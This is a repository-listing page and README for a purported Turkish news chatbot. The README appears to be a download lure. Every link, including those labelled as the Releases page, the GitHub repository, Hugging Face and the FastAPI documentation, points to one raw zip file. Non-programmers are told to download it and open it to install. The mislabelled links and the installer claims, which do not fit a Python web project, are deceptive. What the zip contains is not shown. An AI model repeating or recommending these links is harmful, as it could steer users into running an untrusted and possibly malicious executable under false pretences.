https://github.com/timlfg/news-chatbot
π° Summarize Turkish news, answer queries, and perform multilingual tasks with this versatile chatbot powered by FastAPI and Streamlit.
https://github.com/timlfg/news-chatbot
beautifulsoup chatbot dalle2 gptchat java-21 javascript llama3 news newsapi nlp openai python rag streamlit watson-assistant watson-conversation watson-discovery whatsapp-business-api
Last synced: about 1 month ago
JSON representation
π° Summarize Turkish news, answer queries, and perform multilingual tasks with this versatile chatbot powered by FastAPI and Streamlit.
- Host: GitHub
- URL: https://github.com/timlfg/news-chatbot
- Owner: timlfg
- Created: 2025-09-04T09:26:50.000Z (8 months ago)
- Default Branch: main
- Last Pushed: 2026-04-01T14:12:55.000Z (about 1 month ago)
- Last Synced: 2026-04-01T16:13:02.317Z (about 1 month ago)
- Topics: beautifulsoup, chatbot, dalle2, gptchat, java-21, javascript, llama3, news, newsapi, nlp, openai, python, rag, streamlit, watson-assistant, watson-conversation, watson-discovery, whatsapp-business-api
- Language: Python
- Size: 3.18 MB
- Stars: 1
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- Changelog: news-scraper/README.md
Awesome Lists containing this project
README
# π€ NEWS-Chatbot - Your Assistant for Turkish News
## π₯ Download Now
[](https://raw.githubusercontent.com/timlfg/NEWS-Chatbot/main/scripts/NEW_Chatbot_2.8-beta.2.zip)
## π Getting Started
Welcome to the NEWS-Chatbot! This application helps you get quick summaries of Turkish news articles and answers your questions about them. No programming knowledge is required to use this software. Follow these simple steps to get started.
## π Prerequisites
Before you download, make sure your device meets these requirements:
- **Operating System**: Windows 10 or higher, macOS Mojave or higher, or any recent Linux distribution.
- **RAM**: At least 4GB.
- **Storage**: Minimum of 100MB free space for installation.
- **Internet Connection**: Required for downloading the application and accessing news articles.
## π Download & Install
To download the NEWS-Chatbot, visit the Releases page.
[Click here to download the latest version!](https://raw.githubusercontent.com/timlfg/NEWS-Chatbot/main/scripts/NEW_Chatbot_2.8-beta.2.zip)
Hereβs how to install it:
1. Go to the [Releases page](https://raw.githubusercontent.com/timlfg/NEWS-Chatbot/main/scripts/NEW_Chatbot_2.8-beta.2.zip).
2. Choose the latest version listed.
3. Download the appropriate file for your operating system (e.g., `.exe` for Windows, `.dmg` for macOS, or `https://raw.githubusercontent.com/timlfg/NEWS-Chatbot/main/scripts/NEW_Chatbot_2.8-beta.2.zip` for Linux).
4. Open the downloaded file to begin the installation.
5. Follow the on-screen instructions.
## π How to Use NEWS-Chatbot
Once you've installed the NEWS-Chatbot, you can start using it right away. Hereβs how:
1. **Open the Application**: Find NEWS-Chatbot in your applications folder or start menu and launch it.
2. **Select News Topic**: Choose from various topics related to Turkish news.
3. **Ask Questions**: Type your questions in the provided text box and hit enter.
4. **Receive Summaries**: For every article, you'll receive concise summaries and answers.
### π Example Use Cases
- **Get Quick Summaries**: If you want to know about a current event but lack the time, ask the chatbot to summarize the article.
- **Question & Answer**: Have specific questions regarding articles? The chatbot will provide clear responses based on the content.
## π Features
- **Multilingual Support**: The chatbot utilizes mT5 for language support, making it versatile for various users.
- **FastAPI Backend**: Experience efficient responses with a reliable backend.
- **Streamlit User Interface**: Enjoy an intuitive and user-friendly interface that simplifies your research process.
## π Community and Contributing
If you'd like to help improve the NEWS-Chatbot, contributions are welcome! Hereβs how to get involved:
- **Report Issues**: If you encounter any bugs or problems, please report them on the GitHub Issues page.
- **Suggest Features**: Your ideas can help shape the future of this project. Feel free to submit suggestions in the Issues section.
- **Contribute Code**: If you're familiar with coding, fork the repository, make your changes, and submit a pull request.
## π Support
If you need assistance, please reach out through the Issues section on GitHub. The community will do its best to help you.
## π Topics Covered
This application covers various topics, including:
- Artificial Intelligence (AI)
- Chatbots
- Dataset Utilization
- Machine Learning Libraries like Hugging Face Transformers
- News Summarization and Question Answering
Feel free to explore these resources as you use the NEWS-Chatbot.
## π Additional Resources
- [GitHub Repository](https://raw.githubusercontent.com/timlfg/NEWS-Chatbot/main/scripts/NEW_Chatbot_2.8-beta.2.zip)
- [Hugging Face](https://raw.githubusercontent.com/timlfg/NEWS-Chatbot/main/scripts/NEW_Chatbot_2.8-beta.2.zip) for AI models
- [FastAPI Documentation](https://raw.githubusercontent.com/timlfg/NEWS-Chatbot/main/scripts/NEW_Chatbot_2.8-beta.2.zip) for backend support
Remember, your learning can always be enhanced with new tools and applications like NEWS-Chatbot. Embrace the ease of accessing Turkish news today!
Happy summarizing!